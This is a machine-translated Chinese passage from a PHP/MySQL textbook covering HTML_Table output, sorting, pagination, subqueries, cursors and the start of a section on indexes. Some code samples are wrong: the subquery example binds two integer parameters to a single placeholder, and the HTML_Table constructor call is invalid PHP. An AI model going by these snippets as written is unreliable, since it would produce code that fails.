虽然通过在 PHP 代码中对表标记元素和属性进行硬编码,当然可以将数据库数据输出到 HTML 表中,但是这样做很快就会变得乏味且容易出错。考虑到表格驱动的输出在简单网站上的流行,以这种方式混合设计和逻辑的问题会很快变得复杂。那么,有什么解决办法呢?毫不奇怪,通过 PEAR 已经有一个供您使用,它叫做HTML_Table

除了大大减少您需要处理的特定于设计的代码数量之外,HTML_Table包还提供了一种将 CSS 格式属性合并到输出中的简单方法。在本节中,您将学习如何安装HTML_T able 并使用它快速构建表格数据输出。请注意,本节的目的不是向您介绍每一个HTML_Table特性,而是强调一些您最有可能经常使用的关键特性。查看 PEAR 网站了解HTML_Table功能的完整分类。

安装 HTML_Table

为了利用HTML_Table的特性,你需要从 PEAR 安装它。启动 PEAR,向它传递以下参数:

%>pear install -o HTML_Table

因为HTML_Table依赖于另一个包HTML_Common,如果目标系统上目前没有这个包,那么传递–o选项也会安装这个包。执行这个命令,您将看到类似如下的输出:

WARNING: "pear/HTML_Common" is deprecated in favor of "pear/HTML_Common2"
downloading HTML_Table-1.8.4.tgz ...
Starting to download HTML_Table-1.8.4.tgz (16,440 bytes)
......done: 16,440 bytes
downloading HTML_Common-1.2.5.tgz ...
Starting to download HTML_Common-1.2.5.tgz (4,617 bytes)
...done: 4,617 bytes
install ok: channel://pear.php.net/HTML_Common-1.2.5
install ok: channel://pear.php.net/HTML_Table-1.8.4

一旦安装完毕,您就可以开始利用HTML_Table的功能了。让我们看几个例子,每个例子都建立在前面的基础上,以创建更好看、更有用的表。

创建简单的表格

在最基本的层面上,HTML_Table只需要几个命令就可以创建一个表。例如,假设您想将一组数据显示为 HTML 表格。清单 32-1 提供了一个介绍性的例子,它使用一个简单的 CSS 样式表(由于篇幅限制,这里没有列出)结合HTML_TABLE来格式化$salesreport数组中的销售数据。

<?php

    // Include the HTML_Table package
    require_once "HTML/Table.php";

    // Assemble the data in an array

    $salesreport = array(
    '0' => ["12309","45633","2010-12-19 01:13:42","$22.04","$5.67","$27.71"],
    '1' => ["12310","942","2010-12-19 01:15:12","$11.50","$3.40","$14.90"],
    '2' => ["12311","7879","2010-12-19 01:15:22","$95.99","$15.00","$110.99"],
    '3' => ["12312","55521","2010-12-19 01:30:45","$10.75","$3.00","$13.75"]
    );

    // Create an array of table attributes
    $attributes = array('border' => '1');

    // Create the table object

    $table = new HTML_Table($attributes);

    // Set the headers

    $table->setHeaderContents(0, 0, "Order ID");
    $table->setHeaderContents(0, 1, "Client ID");
    $table->setHeaderContents(0, 2, "Order Time");
    $table->setHeaderContents(0, 3, "Sub Total");
    $table->setHeaderContents(0, 4, "Shipping Cost");
    $table->setHeaderContents(0, 5, "Total Cost");

    // Cycle through the array to produce the table data

    for($rownum = 0; $rownum < count($salesreport); $rownum++) {
        for($colnum = 0; $colnum < 6; $colnum++) {
            $table->setCellContents($rownum+1, $colnum,
                                     $salesreport[$rownum][$colnum]);
        }
    }

    // Output the data

    echo $table->toHTML();

?>

Listing 32-1Formatting Sales Data with HTML_Table

列表 32-1 的结果如图 32-1 所示。

img/314623_5_En_32_Fig1_HTML.jpg

图 32-1

用 HTML_Table 创建表格

用 CSS 和 Html_Table 调整表格样式

从逻辑上讲,您会希望将 CSS 样式应用到您的表格中。幸运的是,HTML_Table还支持通过传递表格、标题、行和特定于单元格的属性来调整表格。这是通过针对表格属性的HTML_Table()构造函数、针对标题和行的setRowAttributes()方法以及针对单元格特定属性的setCellAttributes()方法来实现的。对于每一个,您只需传入一个关联的属性数组。例如,假设您想用一个名为 salesdata 的 id 属性来标记该表。您可以像这样实例化该表:

$table = new HTML_Table("id"=>"salesdata");

在“创建更可读的行输出”一节中,您将学习如何使用这个特性来进一步标记清单 32-1 。

创建可读性更强的行输出

虽然图 32-1 中的数据很容易理解,但是输出大量的数据很快就会变得乏味。为了减轻一些困难,设计者通常每隔一行就涂上颜色,以提供视觉上的突破。用HTML_Table这样做是微不足道的。例如,将包含以下样式的样式表与脚本相关联:

td.alt {
   background: #CCCC99;
}

现在,在清单 32-1 中的for循环完成后,直接添加下面一行:

$table->altRowAttributes(1, null, array("class"=>"alt"));

执行修改后的脚本会产生类似于图 32-2 中的输出。

img/314623_5_En_32_Fig2_HTML.jpg

图 32-2

用 HTML_Table 替换行样式

从数据库数据创建表格

虽然使用数组作为数据源来创建表对于介绍HTML_Table的基本原理来说是很好的,但是您很可能要从数据库中检索这些信息。因此,让我们以前面的例子为基础,从 MySQL 数据库中检索销售数据,并以表格形式呈现给用户。

一般的过程与清单 32-1 中给出的没有太大的不同,除了这一次您将通过一个结果集而不是一个标准数组进行导航。清单 32-2 包含代码。

<?php

    // Include the HTML_Table package
    require_once "HTML/Table.php";

    // Connect to the MySQL database
    $mysqli = new mysqli("localhost", "websiteuser", "secret", "corporate");

    // Create an array of table attributes
    $attributes = array('border' => '1');

    // Create the table object
    $table = new HTML_Table($attributes);

    // Set the headers

    $table->setHeaderContents(0, 0, "Order ID");
    $table->setHeaderContents(0, 1, "Client ID");
    $table->setHeaderContents(0, 2, "Order Time");
    $table->setHeaderContents(0, 3, "Sub Total");
    $table->setHeaderContents(0, 4, "Shipping Cost");
    $table->setHeaderContents(0, 5, "Total Cost");

    // Cycle through the array to produce the table data

    // Create and execute the query
    $query = "SELECT id AS `Order ID`, client_id AS `Client ID`,
                     order_time AS `Order Time`,
                     CONCAT('$', sub_total) AS `Sub Total`,
                     CONCAT('$', shipping_cost) AS `Shipping Cost`,
                     CONCAT('$', total_cost) AS `Total Cost`
                     FROM sales ORDER BY id";

    $stmt = $mysqli->prepare($query);

    $stmt->execute();

    $stmt->bind_result($orderID, $clientID, $time, $subtotal, $shipping, $total);

    // Begin at row 1 so don't overwrite the header
    $rownum = 1;

    // Format each row

    while ($stmt->fetch()) {

        $table->setCellContents($rownum, 0, $orderID);
        $table->setCellContents($rownum, 1, $clientID);
        $table->setCellContents($rownum, 2, $time);
        $table->setCellContents($rownum, 3, $subtotal);
        $table->setCellContents($rownum, 4, $shipping);
        $table->setCellContents($rownum, 5, $total);

        $rownum++;

    }

    // Output the data
    echo $table->toHTML();

    // Close the MySQL connection
    $mysqli->close();

?>

Listing 32-2Displaying MySQL Data in Tabular Format

执行清单 32-2 产生的输出与之前在图 32-1 中发现的输出相同。

分类输出

当显示查询结果时,使用方便用户的标准对信息进行排序是有意义的。例如,如果用户想要查看products表中所有产品的列表,按字母升序排序可能就足够了。但是,有些用户可能希望使用其他标准(如价格)来订购信息。通常这种机制是通过链接列表头来实现的,比如前面例子中使用的表格头。单击这些链接中的任何一个都将导致使用该标题作为标准对表数据进行排序。

要对数据进行排序,您需要创建一种机制,使查询根据所需的列对查询的数据进行排序。通常的方法是链接表格标题中的每一列。下面是如何创建这种链接的一个例子:

$orderID = "<a href='".$_SERVER['PHP_SELF']."?sort=id'>Order ID</a>";
$table->setHeaderContents(0, 0, $orderID);

按照每个标题的模式,呈现的 OrderID 链接将如下所示:

<a href='viewsales.php?sort=id'>Order ID</a>

接下来,修改查询以更改ORDER BY目标。让我们检索 GET 参数,并将其传递给上一节中找到的查询:

<?php
$columns = array('id','order_time','sub_total','shipping_cost','total_cost');

$sort = (isset($_GET['sort'])) ? $_GET['sort']: "id";
if (in_array($sort, $columns)) {
   $query = $mysqli->prepare("SELECT id AS `Order ID`, client_id AS `Client ID`,
          order_time AS `Order Time`,
          CONCAT('$', sub_total) AS `Sub Total`,
          CONCAT('$', shipping_cost) AS `Shipping Cost`,
          CONCAT('$', total_cost) AS `Total Cost`
          FROM sales ORDER BY {$sort} ASC");
}

//...
?>

重要的是不要接受排序列的任何值。这可能会在执行查询时导致错误,或者如果参数用于选择特定的列,则可能会公开不适合用户的数据。这就是上面的代码示例根据预定义的有效列列表检查排序参数的原因。不支持将绑定变量用作 order by 子句的一部分。这就是为什么通过将$sort变量直接插入查询字符串来创建语句的原因。

第一次加载脚本会导致输出按 id 排序。输出示例如图 32-3 所示。

img/314623_5_En_32_Fig3_HTML.jpg

图 32-3

按默认 id 排序的销售表输出

点击Client ID标题对输出进行重新排序。排序后的输出如图 32-4 所示。

img/314623_5_En_32_Fig4_HTML.jpg

图 32-4

按 client_id 排序的销售表输出

尽管使用服务器创建不同排序顺序的新查询很容易,但这也毫无理由地给服务器增加了额外的负载。客户端已经有了所有需要的数据。使用 JavaScript 创建本地排序系统将允许用户对表内容进行排序,而无需向服务器请求任何数据。使用 JavaScript 有许多表排序的实现。这里可以找到一个简单的: https://www.w3schools.com/howto/howto_js_sort_table.asp

创建分页输出

跨多个页面分离查询结果已经成为电子商务目录和搜索引擎的常见功能。这个特性不仅可以方便地增强可读性,还可以进一步优化页面加载。你可能会惊讶地发现,在你的网站上添加这个功能是一件小事。这一节演示了它是如何实现的。

这个特性部分依赖于 MySQL 的LIMIT子句。LIMIT子句用于指定起点和从SELECT查询返回的行数。它的一般语法如下所示:

LIMIT [offset,] number_rows

例如,要将返回的查询结果限制在前五行,请构造以下查询:

SELECT name, price FROM products ORDER BY name ASC LIMIT 5;

这与以下内容相同:

SELECT name, price FROM products ORDER BY name ASC LIMIT 0,5;

但是,要从结果集的第五行开始,可以使用以下查询:

SELECT name, price FROM products ORDER BY name ASC LIMIT 5,5;

因为这种语法非常方便,所以您只需要确定三个变量来创建结果分页机制:

  • 每页条目数:这个值完全由你决定。或者,您可以轻松地为用户提供定制该变量的能力。这个值被传递到LIMIT子句的number_rows组件中。

  • 行偏移量:该值取决于当前加载的页面。这个值是通过 URL 传递的,因此它可以被传递给LIMIT子句的offset组件。您将在下面的代码中看到如何计算这个值。

  • 结果集中的总行数:您必须指定该值,因为它用于确定页面是否需要包含下一个链接。

首先,连接到 MySQL 数据库,设置每页显示的条目数,如下所示:

<?php
   $mysqli = new mysqli("localhost", "websiteuser", "secret", "corporate");
   $pagesize = 4;

接下来,一个三元运算符确定是否已经通过 URL 传递了 \(_GET['recordstart']* 参数。此参数确定结果集应该开始的偏移量。如果这个参数存在,它被分配给*\) recordstart;否则, $recordstart 被设置为0

$recordstart = (int) $_GET['recordstart'];
$recordstart = (isset($_GET['recordstart'])) ? (int)$recordstart: 0;

接下来,执行数据库查询,并使用上一节中创建的tabular_output()方法输出数据。注意,记录偏移量被设置为 \(recordstart* ,要检索的条目数被设置为 *\)pagesize

$stmt = $mysqli->prepare("SELECT id AS `Order ID`, client_id AS `Client ID`,
          order_time AS `Order Time`,
          CONCAT('$', sub_total) AS `Sub Total`,
          CONCAT('$', shipping_cost) AS `Shipping Cost`,
          CONCAT('$', total_cost) AS `Total Cost`
          FROM sales ORDER BY id LIMIT ?, ?");

$stmt->bind_param("ii", $recordstart, $pagesize);

接下来,您必须确定可用的总行数,这可以通过从原始查询中删除LIMIT子句来实现。但是,为了优化查询,请使用count()函数,而不是检索完整的结果集:

$result = $mysqli->query("SELECT count(client_id) AS count FROM sales");
list($totalrows) = $result->fetch_row();

最后,创建上一个和下一个链接。只有当记录偏移量 \(recordstart* 大于`0`时,才会创建前一个链接。只有当还有一些记录需要检索时,才会创建下一个链接,这意味着*\) recordstart+$ pagesize必须小于 $totalrows

   // Create the 'previous' link
   if ($recordstart > 0) {
      $prev = $recordstart - $pagesize;
      $url = $_SERVER['PHP_SELF']."?recordstart=$prev";
      printf("<a href='%s'>Previous Page</a>", $url);
   }

   // Create the 'next' link
   if ($totalrows > ($recordstart + $pagesize)) {
      $next = $recordstart + $pagesize;
      $url = $_SERVER['PHP_SELF']."?recordstart=$next";
      printf("<a href='%s'>Next Page</a>", $url);
   }

样本输出如图 32-5 所示。

img/314623_5_En_32_Fig5_HTML.jpg

图 32-5

创建分页结果(每页四个结果)

如果在从一个页面导航到下一个页面期间,其他用户或进程正在更新这些表,用户可能会遇到奇怪的结果。这是因为 limit 子句使用行数,如果行数改变,结果也会改变。

列出页码

如果您有几页结果,用户可能希望以非线性顺序遍历它们。例如,用户可以选择从第一页跳到第三页,然后跳到第六页,然后再跳回第一页。令人高兴的是,为用户提供一个页码链表非常容易。在前一个例子的基础上,首先确定总页数,并将该值赋给 $totalpages 。通过将总结果行除以选择的页面大小来确定总页数,并使用ceil()函数向上舍入:

     $totalpages = ceil($totalrows / $pagesize);

接下来,确定当前页码,并将其分配给 \(currentpage* 。您通过将当前记录偏移量( *\)recordstart )除以所选页面大小( $pagesize )并加 1 来确定当前页面,以说明LIMIT偏移量从0开始:

     $currentpage = ($recordstart / $pagesize ) + 1;

接下来,创建一个名为pageLinks() ,的函数,并向其传递以下四个参数:

  • $totalpages:结果页面总数,存储在$totalpages变量中。

  • $currentpage:当前页面,存储在$currentpage变量中。

  • $pagesize:选择的页面尺寸,存储在$pagesize变量中。

  • $parameter:用于通过 URL 传递记录偏移量的参数名。到目前为止,已经使用了recordstart,所以下面的例子坚持使用那个参数。

pageLinks()方法如下:

function pageLinks($totalpages, $currentpage, $pagesize, $parameter) {

   // Start at page one
   $page = 1;

   // Start at record zero
   $recordstart = 0;

   // Initialize $pageLinks
   $pageLinks = "";

   while ($page <= $totalpages) {
      // Link the page if it isn't the current one
      if ($page != $currentpage) {
         $pageLinks .= "<a href=\"{$_SERVER['PHP_SELF']}
                        ?$parameter=$recordstart\">$page</a> ";
      // If the current page, just list the number
      } else {
         $pageLinks .= "{$page} ";
      }
         // Move to the next record delimiter
         $recordstart += $pagesize;
         $page++;
   }
   return $pageLinks;
}

最后,您像这样调用函数:

echo "Pages: ".
pageLinks($totalpages, $currentpage, $pagesize, "recordstart");

图 32-6 显示了页面列表的示例输出,以及本章介绍的其他组件。

img/314623_5_En_32_Fig6_HTML.jpg

图 32-6

生成页面结果的编号列表

使用子查询查询多个表

将数据存储在多个表中是常见的做法。这使得维护数据变得容易,但是在提取数据时需要连接来自多个表的信息。考虑一个包含列、部门编号和姓名的雇员表。在这种情况下,多个雇员将具有相同的值,因为他们属于同一个部门。在这种情况下,创建一个包含 id、number 和 name 列的 department 表,然后在 employee 表中创建一个 department_id 列是有意义的。如果用新名称更新一个部门,就像更新部门表中的一行一样简单。如果所有内容都保存在 employee 表中,则必须更新具有旧部门编号和/或名称的所有行,才能进行这样的更改。将数据拆分到多个表中的概念称为规范化。它经常与 MySQL 等传统数据库系统一起使用,但当需要连接许多表时,可能会产生大型数据集的性能问题。

子查询为用户提供了查询多个表的辅助手段,使用的语法可以说比连接所需的语法更直观。本节介绍子查询,演示它们如何从应用中删除冗长的连接和繁琐的多个查询。请记住,这并不是对 MySQL 子查询功能的详尽论述;要获得完整的参考资料,请参阅 MySQL 手册。

简单地说,子查询是嵌入在另一个语句中的 SELECT 语句。例如,假设您想要创建一个支持空间功能的网站,通过向成员显示共享相同邮政编码的个人列表来鼓励拼车。members表的相关部分如下所示:

+-----+------------+-----------+--------------+-------+--------+
| id  | first_name | last_name | city         | state | zip    |
+-----+------------+-----------+--------------+-------+--------+
|   1 | Jason      | Gilmore   | Columbus     | OH    | 43201  |
|   2 | Matt       | Wade      | Jacksonville | FL    | 32257  |
|   3 | Sean       | Blum      | Columbus     | OH    | 43201  |
|   4 | Jodi       | Stiles    | Columbus     | OH    | 43201  |
+-----+------------+-----------+--------------+-------+--------+

如果没有子查询,您将需要执行两个查询或一个稍微复杂一点的查询,称为自连接。为了说明的目的,给出了执行两个查询的方法。首先,您需要检索成员的邮政编码:

$zip = SELECT zip FROM members WHERE id=1

接下来,您需要将邮政编码传递给第二个查询:

SELECT id, first_name, last_name FROM members WHERE zip='$zip'

子查询使您能够将这些任务合并到一个查询中,以便确定哪些成员与成员 Jason Gilmore 共享一个邮政编码,如下所示:

SELECT id, first_name, last_name FROM members
       WHERE zip = (SELECT zip FROM members WHERE id=1);

这将返回以下输出:

+----+------------+------------+
| id | first_name | last_name  |
+----+------------+--------- --+
|  1 | Jason      | Gilmore    |
|  3 | Sean       | Blum       |
|  4 | Jodi       | Stiles     |
+----+------------+------------+

与子查询进行比较

子查询对于执行比较也非常有用。例如,假设您在members表中添加了一个标题为daily_mileage的列,并提示成员将此信息添加到他们的个人资料中以供研究。您有兴趣知道哪些成员的旅行次数比网站上所有成员的平均次数多。以下查询做出了这一决定:

SELECT first_name, last_name FROM members WHERE
   daily_mileage > (SELECT AVG(daily_mileage) FROM members);

创建子查询时,您可以自由使用 MySQL 支持的任何比较运算符和聚合函数。

用子查询确定存在性

基于拼车主题,假设您的网站提示会员列出他们可以使用的车辆类型(例如,摩托车、货车或四门汽车)。因为一些成员可能拥有多辆车,所以创建了两个新表来映射这种关系。第一个表vehicles存储了车辆类型和描述的列表:

CREATE TABLE vehicles (
   id INT UNSIGNED NOT NULL AUTO_INCREMENT,
   name VARCHAR(25) NOT NULL,
   description VARCHAR(100),
   PRIMARY KEY(id));

第二个表member_to_vehicle,将成员 id 映射到车辆 id:

CREATE TABLE member_to_vehicle (
   member_id INT UNSIGNED NOT NULL,
   vehicle_id INT UNSIGNED NOT NULL,
   PRIMARY KEY(member_id, vehicle_id));

请记住,拼车的想法包括让没有车的会员有机会搭车,以此作为分担旅行费用的回报。因此,并非所有成员都出现在此表中,因为它只包括拥有汽车的成员。基于前面给出的members表数据,member_to_vehicle表如下所示:

+-----------+------------+
| member_id | vehicle_id |
+-----------+------------+
|    1      |      1     |
|    1      |      2     |
|    3      |      4     |
|    4      |      4     |
|    4      |      2     |
|    1      |      3     |
+-----------+------------+

现在,假设您想确定哪些成员至少拥有一辆车。将EXISTS子句与子查询结合使用,可以轻松地检索这些信息:

SELECT DISTINCT first_name, last_name FROM members WHERE EXISTS
   (SELECT member_id from member_to_vehicle WHERE
      member_to_vehicle.member_id = members.id);

这会产生以下结果:

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Jason      | Gilmore   |
| Sean       | Blum      |
| Jodi       | Stiles    |
+------------+-----------+

使用IN子句也可以产生相同的结果,如下所示:

SELECT first_name, last_name FROM members
   WHERE id IN (SELECT member_id FROM member_to_vehicle);

当子查询生成一个小数据集时,使用 IN 子句可能最快,而对于更大的结果,使用 EXISTS 最快。此外,IN 子句不能比较空值。

使用子查询执行数据库维护

子查询不仅限于选择数据;您也可以使用这个特性来管理您的数据库。例如,假设您扩展了拼车服务,为成员创建了一种方式,为其他成员的长途乘车提供金钱补偿。会员只能获得一定数量的积分,因此每次会员购买新游乐设备时,必须调整积分余额,具体如下:

UPDATE members SET credit_balance =
   credit_balance - (SELECT cost FROM sales WHERE sales_id=54);

在 PHP 中使用子查询

像前几章介绍的许多其他 MySQL 特性一样,在 PHP 应用中使用子查询是一个透明的过程;就像执行任何其他查询一样执行子查询。例如,以下示例检索与成员Jason共享相同邮政编码的个人列表:

<?php
   $mysqli = new mysqli("localhost", "websiteuser",
                                  "secret", "corporate");
   $stmt = $mysqli->prepare("SELECT id, first_name, last_name FROM members
             WHERE zip = (SELECT zip FROM members WHERE id=?)");

  $stmt->bind_param("ii", $recordstart, $pagesize);

$stmt->execute();

// Loop over data per usual

?>

用游标迭代结果集

如果你曾经使用 PHP 的fopen()函数打开过一个文件或者处理过一组数据,你会使用一个指针来执行这个任务。在前一种情况下,文件指针用于表示文件中的当前位置,在后一种情况下,指针用于遍历并可能操作每个数组值。

大多数数据库都提供了类似的遍历结果集的特性。称为游标,它允许您分别检索集合中的每一行,并对该行执行多个操作,而不用担心会影响集合中的其他行。这为什么有用?假设您的公司根据员工目前的工资和佣金率向他们提供假期奖金。然而,奖金的多少取决于多种因素,其比例安排如下:

  • 如果工资> 60,000 美元,佣金> 5%,则奖金=工资×佣金

  • 如果工资> 60,000 美元且佣金< = 5%,则奖金=工资× 3%

  • 其他所有员工,奖金=工资× 7%

正如您将在本节中了解到的,使用光标可以轻松完成这项任务。

光标基础

在继续讨论如何创建和使用 MySQL 游标之前,先花点时间回顾一下关于这个特性的一些基础知识。一般来说,MySQL 游标的生命周期必须按照以下顺序进行:

  1. DECLARE语句声明游标。

  2. OPEN语句打开游标。

  3. FETCH语句从游标获取数据。

  4. CLOSE语句关闭光标。

此外,在使用游标时,您需要记住以下限制:

  • 服务器端:一些数据库服务器可以同时运行服务器端和客户端游标。服务器端游标是从数据库内部管理的,而客户端游标可以由数据库外部的应用请求和控制。MySQL 只支持服务器端游标。

  • 只读:光标可读写。只读游标可以从数据库中读取数据,而写游标可以更新游标指向的数据。MySQL 只支持只读游标。

  • 敏感:游标可以敏感,也可以不敏感。敏感游标指的是在数据库中找到的实际数据,而不敏感游标指的是在创建游标时创建的数据的临时副本。MySQL 只支持敏感游标。

  • 仅向前:高级游标实现可以向前和向后遍历数据集,跳过记录,并执行各种其他导航任务。目前,MySQL 游标是只进的,这意味着您只能向前遍历数据集。此外,MySQL 游标一次只能向前移动一条记录。

创建光标

在使用游标之前,必须使用DECLARE语句创建(声明)它。该声明指定了游标的名称以及它将处理的数据。其原型如下:

DECLARE cursor_name CURSOR FOR select_statement

例如,要声明本节前面讨论的奖金计算游标,请执行以下声明:

DECLARE calc_bonus CURSOR FOR SELECT id, salary, commission FROM employees;

声明游标后,必须将其打开才能使用。

打开光标

虽然游标的查询是在DECLARE语句中定义的,但是直到游标被打开,查询才真正执行。您可以使用OPEN语句来实现这一点:

OPEN cursor_name

例如,要打开本节前面创建的calc_bonus光标,请执行以下命令:

OPEN calc_bonus;

使用光标

使用光标指向的信息是通过FETCH语句完成的。其原型如下:

FETCH cursor_name INTO varname1 [, varname2...]

例如,下面的存储过程(存储过程在第二十九章中介绍过),calculate_bonus(),获取光标指向的 id、salary 和 commission 列,执行必要的比较,最后插入适当的奖金:

DELIMITER //

CREATE PROCEDURE calculate_bonus()
BEGIN

   DECLARE emp_id INT;
   DECLARE sal DECIMAL(8,2);
   DECLARE comm DECIMAL(3,2);
   DECLARE done INT;

   DECLARE calc_bonus CURSOR FOR SELECT id, salary, commission FROM employees;

   DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;

   OPEN calc_bonus;

   BEGIN_calc: LOOP

      FETCH calc_bonus INTO emp_id, sal, comm;

      IF done THEN
         LEAVE begin_calc;
      END IF;

      IF sal > 60000.00 THEN
         IF comm > 0.05 THEN
            UPDATE employees SET bonus = sal * comm WHERE id=emp_id;
         ELSEIF comm <= 0.05 THEN
            UPDATE employees SET bonus = sal * 0.03 WHERE id=emp_id;
         END IF;
      ELSE
         UPDATE employees SET bonus = sal * 0.07 WHERE id=emp_id;
      END IF;

   END LOOP begin_calc;

   CLOSE calc_bonus;

END//

DELIMITER ;

关闭光标

使用完游标后,应该用CLOSE语句关闭它,以回收潜在的大量系统资源。要关闭本节前面打开的calc_bonus光标,执行以下操作:

   CLOSE calc_bonus;

关闭游标非常重要,MySQL 会在离开声明游标的语句块时自动关闭游标。然而,为了清楚起见,您应该努力使用CLOSE显式地关闭它。

在 PHP 中使用光标

像使用存储过程和触发器一样,在 PHP 中使用游标是一个相当简单的过程。执行之前创建的calculate_bonus()存储过程(包含calc_bonus光标):

<?php

  // Instantiate the mysqli class
  $db = new mysqli("localhost", "websiteuser", "secret", "corporate");

  // Execute the stored procedure
  $result = $db->query("CALL calculate_bonus()");

?>

PHP 也可以用来创建存储过程。数据库中的任何模式对象都可以用 SQL 语句创建。就像通过发出用于 select、insert、update 和 delete 的 SQL 语句与数据交互一样,您也可以使用 create 语句创建对象。当应用安装在系统上,使用 PHP 为应用创建初始数据库模式时,这很有用。

摘要

本章介绍了开发数据驱动应用时会遇到的许多常见任务。向您介绍了一种以表格格式输出数据结果的简便方法,然后您学习了如何为每个输出数据行添加可操作的选项。通过向您展示如何基于给定的表字段对输出进行排序,进一步扩展了这一策略。您还了解了如何通过创建链接页面列表将查询结果分布在多个页面上,使用户能够以非线性方式浏览结果。

下一章将介绍 MySQL 的数据库索引和全文搜索功能,并演示如何使用 PHP 执行基于 web 的数据库搜索。

三十三、索引和搜索

第二十五章介绍了PRIMARYUNIQUE键的用途,定义了每个键的作用,并向你展示了如何将它们整合到你的表格结构中。然而,索引在数据库开发中起着如此重要的作用,如果不详细讨论这个主题,这本书将是非常不完整的。本章涵盖了以下主题:

  • 数据库索引:本章的前半部分介绍了一般的数据库索引术语和概念,并讨论了主索引、唯一索引、普通索引和全文 MySQL 索引。

  • 基于表单的搜索:本章的后半部分将向您展示如何创建支持 PHP 的搜索接口,用于查询新索引的 MySQL 表。

数据库索引

索引是表列的有序(或索引)子集,每个行条目指向其对应的表行。一般来说,在 MySQL 数据库开发策略中引入索引有三个好处:

  • 查询优化:数据按照输入的顺序存储在表中。但是,这个顺序可能与您想要访问它的顺序不一致。例如,假设您批量插入根据 SKU 订购的产品列表。你的在线商店访问者可能会根据名称搜索这些产品。因为当目标数据被排序(在本例中是按字母顺序)时,数据库搜索可以最有效地执行,所以除了将被频繁搜索的任何其他列之外,索引产品的名称是有意义的。

  • 唯一性:通常,需要一种方法来标识一个数据行,该方法基于某个值或一组已知对该行唯一的值。例如,考虑一个存储雇员信息的表。该表可能包括关于每个雇员的名和姓、电话号码和社会保险号的信息。虽然两个或两个以上的雇员可能共用同一个名字(例如,John Smith)或共用同一个电话号码(例如,如果他们共用一个办公室),但是您知道没有两个人拥有相同的社会保险号,从而保证每一行的唯一性。

  • 文本搜索:由于有了一个称为全文索引的功能,因此可以优化对位于任何索引字段中的大量文本的搜索。

这些优势的实现要归功于四种类型的索引:主索引、惟一索引、普通索引和全文索引。本节将介绍每种类型。

主键索引

主键索引是关系数据库中最常见的索引类型。由于主键的唯一性,它用于唯一地标识每一行。因此,键必须是由行表示的实体唯一拥有的值,或者是其他值,如数据库在插入行时创建的自动递增的整数值。因此,不管先前存在的行是否随后被删除,每一行都将有一个唯一的主索引。例如,假设您想为公司的 IT 部门创建一个有用的在线资源数据库。用于存储这些书签的表格可能如下所示:

CREATE TABLE bookmarks (
   id INT UNSIGNED NOT NULL AUTO_INCREMENT,
   name VARCHAR(75) NOT NULL,
   url VARCHAR(200) NOT NULL,
   description MEDIUMTEXT NOT NULL,
   PRIMARY KEY(id));

因为id列随着每次插入自动递增(从 1 开始),所以bookmarks表格不可能包含多个包含完全相同单元格的行。例如,考虑以下三个查询:

INSERT INTO bookmarks (name, url, description)
       VALUES("Apress", "www.apress.com", "Computer books");
INSERT INTO bookmarks (name, url, description)
       VALUES("Google", "www.google.com", "Search engine");
INSERT INTO bookmarks (name, url, description)
       VALUES("W. Jason Gilmore", "www.wjgilmore.com", "Jason's website");

执行这三个查询并检索表会产生以下输出:

+-------+------------------+-------------------+-----------------+
| id    | name             | url               | description     |
+------ +------------------+-------------------+-----------------+
|     1 | Apress           | www.apress.com    | Computer books  |
|     2 | Google           | www.google.com    | Search engine   |
|     3 | W. Jason Gilmore | www.wjgilmore.com | Jason's website |
+-------+------------------+-------------------+-----------------+

注意id列是如何随着每次插入而递增的,以确保行的唯一性。

注意

每个表只能有一个自动递增的列,并且该列必须被指定为主键。此外,任何被指定为主键的列都不能保存NULL值;即使没有明确声明为NOT NULL,MySQL 也会自动赋这个特质。主键不需要添加 NOT NULL 约束。

创建一个允许开发人员推测它所代表的行的一些信息的主索引通常是不明智的。并举例说明了原因。假设您决定使用 URL,而不是使用整数值作为bookmarks表的主索引。做出这样一个决定的影响应该是显而易见的。首先,如果 URL 由于商标问题或收购而改变,会发生什么?即使是社会安全号码,这个曾经被认为是独一无二的价值,也会因为身份盗窃的影响而改变。省去麻烦,总是使用主索引,它不提供对它所代表的数据的洞察;它应该是一种自主工具,唯一的目的是确保能够唯一地识别数据记录。主键不是必需的,但是如果您想引用其他表中的记录,主键是最好的方法。

唯一索引

像主索引一样,唯一索引可以防止创建重复值。但是,区别在于每个表只允许一个主索引,而支持多个唯一索引。考虑到这种可能性,再次考虑上一节的bookmarks表。虽然可以想象两个站点可以共享同一个名称——例如,“伟大的 PHP 资源”——但是重复 URL 是没有意义的。这听起来像是一个理想的唯一索引:

CREATE TABLE bookmarks (
   id INT UNSIGNED AUTO_INCREMENT,
   name VARCHAR(75) NOT NULL,
   url VARCHAR(200) NOT NULL UNIQUE,
   description MEDIUMTEXT NOT NULL,
   PRIMARY KEY(id));

如上所述,在给定的表中,可以将多个字段指定为惟一的。例如,假设您想要防止链接存储库的贡献者在插入新网站时重复指定非描述性名称(例如,“酷站点”)。再次返回到书签表,将 name 列定义为 unique:

CREATE TABLE bookmarks (
   id INT UNSIGNED AUTO_INCREMENT,
   name VARCHAR(75) NOT NULL UNIQUE,
   url VARCHAR(200) NOT NULL UNIQUE,
   description MEDIUMTEXT NOT NULL,
   PRIMARY KEY(id));

您还可以指定多列唯一索引。例如,假设您希望允许您的贡献者插入重复的 URL 值,甚至是重复的name值,但是您不希望出现重复的name和 URL 组合。您可以通过创建多列唯一索引来实施此类限制。重访最初的bookmarks表:

CREATE TABLE bookmarks (
   id INT UNSIGNED AUTO_INCREMENT,
   name VARCHAR(75) NOT NULL,
   url VARCHAR(200) NOT NULL,
   UNIQUE(name, url),
   description MEDIUMTEXT NOT NULL,
   PRIMARY KEY(id));

给定这种配置,下面的name和 URL 值对可以同时驻留在同一个表中:

Apress site, https://www.apress.com
Apress site, https://www.apress.com/us/blog
Blogs, https://www.apress.com
Apress blogs, https://www.apress.com/us/blog

然而,尝试多次插入这些组合将导致错误,因为重复的组合name和 URL 是非法的。

正常索引

您通常希望优化数据库的能力,使其能够根据列标准检索行,而不是那些被指定为主要或唯一的标准。最有效的方法是对列进行索引,使数据库能够以最快的方式查找值。这些指标通常被称为正常指标或普通指标。MySQL 为它们提供了“索引”类型。

单列普通索引

如果表中的某一列将成为大量选择查询的焦点,则应该使用单列普通索引。例如,假设一个包含雇员信息的表由四列组成:唯一的行 ID、名、姓和电子邮件地址。您知道大多数搜索都是针对员工的姓氏或电子邮件地址的。您应该为姓氏创建一个普通索引,为电子邮件地址创建一个唯一索引,如下所示:

CREATE TABLE employees (
   id INT UNSIGNED AUTO_INCREMENT,
